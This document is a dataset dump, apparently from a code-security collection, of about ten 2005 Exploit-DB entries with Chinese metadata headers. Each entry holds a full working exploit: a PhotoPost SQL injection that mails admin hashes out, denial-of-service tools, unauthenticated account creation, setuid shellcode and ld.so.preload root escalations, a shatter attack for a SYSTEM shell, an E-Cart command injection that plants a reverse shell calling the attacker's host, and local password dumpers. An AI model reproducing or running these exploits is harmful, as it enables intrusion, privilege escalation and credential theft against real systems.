QLWD/code_shield huggingface dataset:
标题: PhotoPost - Arbitrary Data Hash EDB-ID: 989 CVE: 2005-1629 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-13 漏洞利用脚本: #!/usr/bin/perl
# PhotoPost Arbitrary Data Exploit
# --------------------------------
# INFPG - Hacking&Security Research
#
#
# Use first the exploit code,then You'll get admin MD5 hash and user name on your mail.
#
# Greats: Infam0us Gr0up team/crew/fans,Zone-H,securiteam,str0ke-milw0rm,addict3d,
# Thomas-secunia,Yudha,Dcrab's,Kavling Community,1st Indonesian Security,
# Jasakom,ECHO,etc..betst reagrds t0 whell.
# Info: www.98.to/infamous
#

use IO::Socket;

if (@ARGV < 3)
{
system "clear";
print "PhotoPost Arbitrary Data Exploit\n";
print "\n-------------------------------\n";
print "\nINFGP-Hacking&Security Research\n";
print "\n\n";
print "[?]Usage: perl $0 [host] [path] [mail] \n";
exit(1);
}

system "clear";

$server = $ARGV[0];
$folder = @ARGV[1];
$mail = @ARGV[2];

print "Connecting to host ...\n";
$socket = IO::Socket::INET->new(
       Proto => "tcp",
       PeerAddr => "$ARGV[0]",
       PeerPort => "80"); unless ($socket)
{
 die "Server is offline\n"
}

print "[+]Connected\n\n";
print "[+]Building string core..\n";

$stringcore = 'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0",$mail
,%20concat(username,"%20",%20password)%20from%20users';

print "Sent 0day..\n\n";
print $socket "GET /$folder/$stringcore HTTP/1.0\r\n\r\n";
print "Server Exploited\n";
print "You should check $mail now";
close($socket);

# milw0rm.com [2005-05-13] URL: https://www.exploit-db.com/exploits/989
标题: Remote File Manager 1.0 - Denial of Service EDB-ID: 988 CVE: 2005-1603 类型: DOS 平台: WINDOWS 发布日期: 2005-05-08 漏洞利用脚本: /*

 Server Remote File Manager DoS Exploit
-------------------------------------------
  INFGP - Hacking&security Research

[+] Attacking  localhost..
[+] Build DOS string
[+] Buffer size = 300 byte
[+] Sending bad format..
[+] localhost  : Disconected!

Greats: Infam0us Gr0up,Zone-H,securiteam,str0ke-milw0rm,addict3d,
Thomas-secunia,Yudha,c0d3r,Kavling Community,1st Indonesian Security,
Jasakom,ECHO,etc..betst reagrds t0 whell.
Info: 98.to/infamous

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define size 300

int main (int argc, char *argv[]){

char req[] =
"M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-YSYNKG&MKL\?X.JIY.HS&"
"<GMN?X+9M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-YSYNKG&MKL\?"
"X.JIY.HS&<GMN?X+9M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-YSYN"
"KG&MKL\?X.JIY.HS&<GMN?X+9M_MZ?S.Y?XPKL&>UM&<_.H;YBKL7-"
"qv#trog.ro#mkodph>qv#trog.ro#mkodph\n";

 unsigned int rc,addr,inetsock ;
 struct sockaddr_in tcp;
 struct hostent * hp;
 WSADATA wsaData;
 char buffer[size];

  memset(buffer,'A',300);
  memcpy(buffer,req,25);

  if(argc < 2) {
 printf("\n\n    Server Remote File Manager DoS Exploit \n", argv[0]);
 printf("   -----------------------------------------\n", argv[0]);
 printf("      INFGP - Hacking&Security Research\n\n", argv[0]);
 printf("[-]Usage: %s [target]\n", argv[0]);
 printf("[?]Exam: %s localhost \n", argv[0]);
 exit(-1) ;
       }

 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
  printf("WSAStartup failed !\n");
  exit(-1);
 }
  hp = gethostbyname(argv[1]);
 if (!hp){
  addr = inet_addr(argv[1]);
 }
 if ((!hp) && (addr == INADDR_NONE) ){
  printf("Unable to resolve %s\n",argv[1]);
  exit(-1);
 }
 inetsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 if (!inetsock){
  printf("socket() error...\n");
  exit(-1);
 }
  if (hp != NULL)
  memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
 else
  tcp.sin_addr.s_addr = addr;

 if (hp)
  tcp.sin_family = hp->h_addrtype;
 else
  tcp.sin_family = AF_INET;

 tcp.sin_port=htons(7080);

 printf("\n[+] Attacking  %s..\n" , argv[1]) ;
 printf("[+] Build DOS string\n");
 Sleep(1000);
 printf("[+] Buffer size = %d byte\n" , sizeof(buffer));
 rc=connect(inetsock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
 if(rc==0)
 {

 Sleep(1000) ;
 printf("[+] Sending bad format..\n") ;
 send(inetsock , buffer , sizeof(buffer) , 0);
 printf("[+] %s  : Disconected! \n\n" ,  argv[1]) ;
}
 else {
 printf("[-] Port :7080 is invalid.Server not connected!\n");
}
}

// milw0rm.com [2005-05-08] URL: https://www.exploit-db.com/exploits/988
标题: Linux Kernel 2.6.12-rc4 - 'ioctl_by_bdev' Local Denial of Service EDB-ID: 998 CVE: 2005-1589 类型: DOS 平台: LINUX 发布日期: 2005-05-17 漏洞利用脚本: /* pktcdvd_dos.c proof-of-concept 
* This is only a lame POC which will crash the machine, no root shell here. 
* --- alert7 
* 2005-5-15 
* the vulnerability in 2.6 up to and including 2.6.12-rc4 
* 
* gcc -o pktcdvd_dos pktcdvd_dos.c 
* 
* NOTE: require user can read pktcdvd block device 


* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" 
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 
*/ 


#define _GNU_SOURCE 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <signal.h> 
#include <paths.h> 
#include <grp.h> 
#include <setjmp.h> 
#include <stdint.h> 
#include <sys/mman.h> 
#include <sys/ipc.h> 
#include <sys/shm.h> 
#include <sys/ucontext.h> 
#include <sys/wait.h> 
#include <asm/ldt.h> 
#include <asm/page.h> 
#include <asm/segment.h> 
#include <linux/unistd.h> 
#include <linux/linkage.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <linux/sysctl.h> 
#include <linux/cdrom.h> 


#define __NR_sys_ioctl __NR_ioctl 



#define PKTCDVDDEVICE "/dev/hdc" 


static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg); 


struct idtr { 
unsigned short limit; 
unsigned int base; 
} __attribute__ ((packed)); 


unsigned int get_addr_idt() { 
struct idtr idtr; 
asm("sidt %0" : "=m" (idtr)); 
return idtr.base; 
} 
struct desc_struct { 
unsigned long a,b; 
}; 
int main(int argc,char **argv) 
{ 
unsigned int ptr_idt; 
int iret ; 
int fd; 


printf("[++]user stack addr %p \n",&ptr_idt); 
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){ 
printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n"); 
return -1; 
} 


ptr_idt=get_addr_idt(); 
printf("[++]IDT Addr %p \n",ptr_idt); 



fd = open(PKTCDVDDEVICE,O_RDONLY); 
if (fd ==-1) 
{ 
printf("[--]"); 
fflush(stdout); 
perror("open"); 
return -1; 
} 

unsigned long WriteTo ; 


if ( (ptr_idt>>24)==0xc0){ 
printf("[++]this OS in Real Linux\n"); 
WriteTo= ptr_idt; 
}else{ 
printf("[++]this OS maybe in VMWARE\n"); 
WriteTo = 0xc0100000; 
} 


printf("[++]call sys_ioctl will crash machine\n"); 
fflush(stdout); 

int loopi; 
for (loopi=0;loopi<0x100000 ;loopi++ ) 
{ 
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4); 
fflush(stdout); 
iret = sys_ioctl(fd, 
CDROM_LAST_WRITTEN, 
WriteTo+loopi*4); 
if (iret ==-1) 
{ 
printf("[--]"); 
fflush(stdout); 
perror("ioctl"); 
//if in VMWARE ,rewrite ptr_idt adress will failed 
printf("[--]still aliving\n"); 
close(fd); 
return -1; 
} 
} 
close(fd); 
return 0; 
} 

// milw0rm.com [2005-05-17] URL: https://www.exploit-db.com/exploits/998
标题: Hosting Controller 0.6.1 - User Registration (1) EDB-ID: 979 CVE: 2005-1654 类型: REMOTE 平台: WINDOWS 发布日期: 2005-05-04 漏洞利用脚本: <!--
Tested 

google = intext:"powered by Hosting Controller" intitle:"Hosting Controller"

/str0ke

Advisory Information
-------------------------
Software Package   : Hosting Controller
Vendor Homepage  : http://www.hostingcontroller.com
Platforms               : Windows based servers
Vulnerability           : unauthenticated user registeration
Risk                       : High!
Vulnerable Versions: All version ( Tested on: v.6.1 Hotfix 1.9 )
Vendor Contacted   : 5/3/2005
Release Date          : 5/5/2005

Summary
------------
Hosting Controller is a complete array of Web hosting automation tools for
the Windows Server family platform.
This vulnerability is on the admin/hosting/addsubsite.asp
Attacker can create user and host on the target system.

Exploit
---------
A demonstration exploit URL is provided:

http://[target]/admin/hosting/addsubsite.asp?loginname=Mouse&password=123456
http://[target]:8077/hosting/addsubsite.asp?loginname=Mouse&password=123456
-->

<FORM action="http://[target]/admin/hosting/addsubsite.asp" method="post">
<INPUT type="hidden" name="reseller" value="resadmin" id="reseller" >
<INPUT type="hidden" name="domaintypecheck" value="SECOND" id="Hidden1">
Domain:     <INPUT name="DomainName" value="shabgard.org" id="Hidden2"><BR>
Username: <INPUT name="loginname" value="Mouse" id="Hidden3"><BR>
<INPUT type="hidden" name="Quota" value="-1" id="Hidden4">
<INPUT type="hidden" name="htype" value="27" id="htype" >
<INPUT type="hidden" name="choice" value="1" id="Hidden7" >
<INPUT type="hidden" name="mailaccess" value="TRUE" id="Hidden5">
Mailserver: <INPUT name="MailServerType" value="IMail" id="Hidden6"><BR>
Password:  <INPUT name="password" value="123456" id="Hidden8"><BR><BR>
<input type="submit" value="Make"><BR>

# milw0rm.com [2005-05-04] URL: https://www.exploit-db.com/exploits/979
标题: ARPUS/Ce - Local Overflow (setuid) EDB-ID: 974 CVE: 2005-1396 类型: LOCAL 平台: LINUX 发布日期: 2005-05-01 漏洞利用脚本: #!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#

# 57 bytes long
$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);

$ENV{"XAPPLRESLANGPATH"} = $buf;

exec("/usr/bin/ce"); 


# milw0rm.com [2005-05-01] URL: https://www.exploit-db.com/exploits/974
标题: ARPUS/Ce - Local File Overwrite (setuid) EDB-ID: 973 CVE: 2005-1396 类型: LOCAL 平台: LINUX 发布日期: 2005-05-01 漏洞利用脚本: /*
* Copyright Kevin Finisterre - ripped from my perl_ex.c
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
*
* kfinisterre@kfinisterre01:~$ ls -al /usr/bin/ce
* -rwsr-xr-x  1 root bin 630010 Sep 27  2004 /usr/bin/ce
*
* Tested against http://168.158.26.15/ce/ce-0260-intel-pentium-linux-fedoracore3.tar.gz
*  and ce-0254-intel-pentium-linux-redhat73.tar.Z
*
* (16:34:04) kfin80: this program is tricky
* (16:34:14) kfin80: it drops privs under certain conditions
* (16:34:20) kfin80: it was fucking me up for a second. =]
* (16:36:02) kfin80: kfinisterre@kfinisterre01:~$ ce a a
* (16:36:13) kfin80: kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx  1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
* (16:36:16) kfin80: owned by ME
* (16:36:36) kfin80: kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
* kfinisterre@kfinisterre01:~$ rm /tmp/ce_edit_log
* kfinisterre@kfinisterre01:~$ ce a a
* ce: cannot connect to X server yamom (Success)
* kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx  1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
* (16:36:38) d4yj4y: hmmmmmm
* (16:36:38) kfin80: owned by root
* (16:36:49) kfin80: the export of a faulty display makes it NOT drop privs.
*
*/

#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

       FILE *getuid;
       if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
               printf("error opening file\n");
               exit(1);
       }

       fprintf(getuid, "int getuid(){return 0;}\n" );
       fclose(getuid);

       system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

       symlink(PRELOAD,"/tmp/ce_edit_log");
       umask(001); // I'm rw-rw-rw james bitch!

       putenv("DISPLAY=dmr0x!");  // GIMME ROOT BITCH!
       system("/usr/bin/ce");
       FILE *ld_so_preload;

       char preload[] = {
               "/tmp/getuid.so\n"
       };

       if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
               printf("error opening file\n");
               exit(1);
       }
       fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
       fclose(ld_so_preload);
}

// milw0rm.com [2005-05-01] URL: https://www.exploit-db.com/exploits/973
标题: BulletProof FTP Server 2.4.0.31 - Local Privilege Escalation EDB-ID: 971 CVE: 2005-1371 类型: LOCAL 平台: WINDOWS 发布日期: 2005-04-29 漏洞利用脚本: //******************************************************************************
//Privilege escalation in BulletProof FTP Server v2.4.0.31
//By Jerome Athias
//jerome DOT athias AT free DOT fr
//Discovered by Reed Arvin reedarvin[at]gmail[dot]com
//(http://reedarvin.thearvins.com)
//
//Little PoC
//Gives you a shell with system privileges
//******************************************************************************

#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
char sText[]="%windir%\\system32\\cmd.exe";
char buffer[256];

lHandle=FindWindow(NULL, "BulletProof FTP Server v2.4.0.31");
if (!lHandle)
{
       printf("\nUsage :\nBulletProof FTP Server v2.4.0.31 doesn't seem to run?\n");
       return 0;
}
else
{
       printf("handle for BulletProof : 0x%X\n",lHandle);
}
SetForegroundWindow(lHandle);

SendMessage(lHandle, WM_IME_KEYDOWN, VK_F1, 0); //send F1 key "help me please!"
Sleep(5000);   //I need this time to drink a beer ;P

//Find the browser Handle
//lHandle2=FindWindow(NULL, "BPFTP Server - Mozilla Firefox");
//if (!lHandle2)
//{
       lHandle2=FindWindow("IEFrame", "BPFTP Server - Microsoft Internet Explorer");
       lHandle2=FindWindowEx(NULL, NULL, "IEFrame", NULL);

       printf("handle for IE : 0x%X\n",lHandle2);
       if (!lHandle2)
       {
               printf("\nError while finding the browser's window.\n");
       }
//}
//else
//{
//        printf("handle for Firefox : 0x%X\n",lHandle2);
//}
SetForegroundWindow(lHandle2);

lHandle=FindWindowEx(lHandle2, 0, "WorkerW", 0);
if (lHandle>=0)
{
       lHandle = FindWindowEx(lHandle, 0, "ReBarWindow32", 0);
       if (lHandle>=0)
       {
               //Where are you Charlie...
             lHandle = FindWindowEx(lHandle, 0, "ComboBoxEx32", 0);
             lHandle = FindWindowEx(lHandle, 0, "ComboBox", 0);
             lHandle = FindWindowEx(lHandle, 0, "Edit", 0);
       }
}
else
{
       printf("\nerror :-(\n");
}

SendMessage(lHandle, WM_SETFOCUS, 0, 0);
Sleep(300);
SendMessage(lHandle, WM_SETTEXT, 0, (LPARAM) sText);
//Shatter!
PostMessage(lHandle, WM_KEYDOWN, VK_RETURN, 0);
//whoami? :-)

return 0;
}

// milw0rm.com [2005-04-29] URL: https://www.exploit-db.com/exploits/971
标题: E-Cart 1.1 - 'index.cgi' Remote Command Execution EDB-ID: 954 CVE: 2005-1289 类型: WEBAPPS 平台: CGI 发布日期: 2005-04-25 漏洞利用脚本: #!/usr/bin/perl
#
# Example added if code doesn't work for ya:
# http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|uname%20-a|
# /str0ke
#
#
# info: emanuele@orvietolug.org
#
use IO::Socket; 

print "\n\n ~~ www.badroot.org ~~ \n\n";
print " E-Cart E-Commerce Software index.cgi\n";
print " Remote Command Execution Vulnerability\n";
print " Affected version: <= E-Cart 2004 v1.1\n";
print " http://www.securityfocus.com/archive/1/396748/2005-04-20/2005-04-26/0  \n\n";
print " ~~ code by z\\ ~~\n\n\n";
print " 04.23.2005\n\n\n";


print "hostname: \n"; 
chomp($server=<STDIN>);  

print "port: (default: 80)\n";
chomp($port=<STDIN>);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq "" );

print "path: (/cgi-bin/ecart/)\n";
chomp($path=<STDIN>);

print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>);

print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>);


print " \n\n";
print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n";

print "[*] try to exploiting...\n"; 

$string="/$path/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";

print "[*] OK! \n"; 
print "[*] NOW, run in your box: nc -l -vv -p $reverse\n";
print "[*] starting connect back on $ip :$reverse\n";
print "[*] DONE!\n";
print "[*] Loock netcat windows and funny\n\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp) 
or die; 


print $socket "POST $path HTTP/1.1\n"; 
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: 7330ecart\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " WARNING - WARNING - WARNING - WARNING   \r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\n";
print "If connect back shell not found:\n";
print "- you do not have privileges to write in /tmp\n";
print "- Shell not vulnerable\n\n\n";
print "Greetz: albythebest - #badroot irc.us.azzurra.org - #hacker.eu us.ircnet.org\n\n\n";


# milw0rm.com [2005-04-25] URL: https://www.exploit-db.com/exploits/954
标题: NotJustBrowsing 1.0.3 - Local Password Disclosure EDB-ID: 966 CVE: 2005-1418 类型: LOCAL 平台: WINDOWS 发布日期: 2005-04-28 漏洞利用脚本: /*****************************************************************

NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan

Application: NotJustBrowsing 1.0.3
Procuder: www.notjustbrowsing.com
Vulnerable Description: NotJustBrowsing 1.0.3 discloses passwords
to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


char *bilgi_oku(int adres,int uzunluk)
{
 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
     "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
     0,
     KEY_QUERY_VALUE,
     &hKey
     ) == ERROR_SUCCESS)
 {

 lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
 if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
 {
  RegCloseKey(hKey);
  return NULL;
 }
 RegCloseKey(hKey);

 strcat(prgfiles,"\\NetLeaf Limited\\NotJustBrowsing\\notjustbrowsing.prf");

 int i;
 FILE *fp;
 char ch[100];
 if((fp=fopen(prgfiles,"rb")) == NULL)
 {
  return "NOTINSTALLED";
 }
 fseek(fp,adres,0);
 for(i=0;i<uzunluk;i++)
 ch[i]=getc(fp);
 ch[i]=NULL;
 fclose(fp);
 return ch;
 }
}

int main()
{
 printf("NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan\n");
 printf("Credits to ATmaCA\n");
 printf("www.netmagister.com - www.spyinstructors.com\n");
 printf("kozan@netmagister.com\n\n");
 if(bilgi_oku(4,3)==NULL)
 {
  printf("An error occured!\n");
  return -1;
 }
 if(bilgi_oku(4,3)=="NOTINSTALLED")
 {
  printf("NotJustBrowsing 1.0.3 is not installed on your system!\n");
  return -1;
 }
 printf("View Lock Password: %s",bilgi_oku(4,3));
 return 0;
}

// milw0rm.com [2005-04-28] URL: https://www.exploit-db.com/exploits/966
标题: FilePocket 1.2 - Local Proxy Password Disclosure EDB-ID: 964 CVE: 2005-1414 类型: LOCAL 平台: WINDOWS 发布日期: 2005-04-28 漏洞利用脚本: /*****************************************************************

FilePocket v1.2 Local Proxy Password Disclosure Exploit by Kozan

Application: FilePocket 1.2 (probably prior versions)
Vendor: ExoticSoft - www.exoticsoft.com
Vulnerable Description: FilePocket v1.2 discloses proxy passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
        proxyport[BUFSIZE],
        proxyuser[BUFSIZE],
        proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FilePocket\\Settings",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

   lRet = RegQueryValueEx( hKey, "ProxyAddress", NULL, NULL,(LPBYTE)
proxyaddr,&dwBufLen);
   if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxyaddr,"Not
found!");

   lRet = RegQueryValueEx( hKey, "ProxyPassword", NULL, NULL,(LPBYTE) proxypass,
&dwBufLen);
   if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxypass,"Not
found!");

   lRet = RegQueryValueEx( hKey, "ProxyUsername", NULL, NULL,(LPBYTE) proxyuser,
&dwBufLen);
   if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxyuser,"Not
found!");

   lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport,
&dwBufLen);
   if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxyport,"Not
found!");

   RegCloseKey( hKey );

   printf("FilePocket v1.2 Local Proxy Password Disclosure Exploit by Kozan\n");
   printf("Credits to ATmaCA\n");
   printf("www.netmagister.com  -  www.spyinstructors.com\n");
   printf("kozan@netmagister.com\n\n");
   printf("Proxy Address   : %s\n",proxyaddr);
   printf("Proxy Port      : %s\n",proxyport);
   printf("Proxy Username  : %s\n",proxyuser);
   printf("Proxy Password  : %s\n",proxypass);

  }
  else printf("FilePocket is not installed on your system!\n");
  return 0;
}

// milw0rm.com [2005-04-28] URL: https://www.exploit-db.com/exploits/964